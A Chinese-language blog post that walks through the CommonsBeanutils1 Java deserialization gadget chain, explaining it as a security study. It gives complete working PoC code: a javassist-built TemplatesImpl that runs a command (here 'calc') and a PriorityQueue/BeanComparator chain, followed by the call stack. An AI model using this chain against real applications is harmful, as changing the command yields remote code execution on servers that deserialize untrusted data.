文章目录
前言
CB1类似CC2,利用优先级队列触发comparator的compare方法,需要以下依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
代码复现
工具类
生成恶意TemplatesImpl:
TemplatesGeneratorPacked/GetAbstractTranslet.java
package TemplatesGeneratorPacked;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
public class GetAbstractTranslet {
public static byte[] generate() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("e");
CtClass zuper = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(zuper);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
}
TemplatesGeneratorPacked/GetTemplatesImpl.java
package TemplatesGeneratorPacked;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ReflectPacked.ValueGetterSetter;
public class GetTemplatesImpl {
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GetAbstractTranslet.generate()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ValueGetterSetter.setValue(templates, "_bytecodes", bytes);
ValueGetterSetter.setValue(templates, "_name", "a");
ValueGetterSetter.setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
反射get/set:
ReflectPacked/ValueGetterSetter.java
package ReflectPacked;
import java.lang.reflect.Field;
public class ValueGetterSetter {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
}
反序列化:
UnserializePacked.Unserialize.java
package UnserializePacked;
import java.io.*;
public class Unserialize {
public static void unserialize(Object obj) throws Exception{
File f = File.createTempFile("temp", "out");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(obj);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
Object o = ois.readObject();
System.out.println(o);
ois.close();
f.deleteOnExit();
}
}
PoC
package cb1;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import java.math.BigInteger;
import javax.xml.transform.Templates;
import ReflectPacked.ValueGetterSetter;
import TemplatesGeneratorPacked.GetTemplatesImpl;
import UnserializePacked.Unserialize;
public class PoC {
public static void main(String[] args) throws Exception {
Templates templates = GetTemplatesImpl.getTemplatesImpl();
BeanComparator comparator = new BeanComparator("lowestSetBit");
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(new BigInteger("1"));
priorityQueue.add(new BigInteger("1"));
ValueGetterSetter.setValue(comparator, "property", "outputProperties");
Object[] queueArray = (Object[]) ValueGetterSetter.getValue(priorityQueue, "queue");
queueArray[0] = templates;
Unserialize.unserialize(priorityQueue);
}
}
代码审计 | 原理分析
前半部分类似CC2,优先级队列反序列化调用compare
『Java安全』反序列化-CC2反序列化漏洞POP链分析_ysoserial CommonsCollections2 PoC分析
后半部分流程调用了TemplatesImpl.getOutputProperties(),同7u21
『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞
重复的部分不做分析只作记录
1. TemplatseImpl.getOutputProperties()触发newTransformer()
2. BeanComparator.compare()触发PropertyUtils.getProperty()
BeanComparator构造器传入一个property
调用compare方法时,会调各自Object的getProperty
因此可以构造的时候传入属性outputProperities,然后compare传入TemplatesImpl即可:
3. PriorityQueue反序列化调用comparator.compare()
优先级队列构造器传入初始大小和comparator,然后readObject会调用compare
为什么BeanComparator要传入lowestSetBit?为什么要添加BigInteger?
在新建comparator的时候传入了BigInteger的属性lowestSetBit,这里传BigInteger的其他属性也可以,这么做是为了保证某些jdk版本add失败的问题,修复兼容性问题
POP链
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:26, PoC (cb1)
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/xxx
版权声明:本文为原创,转载时须注明出处及本声明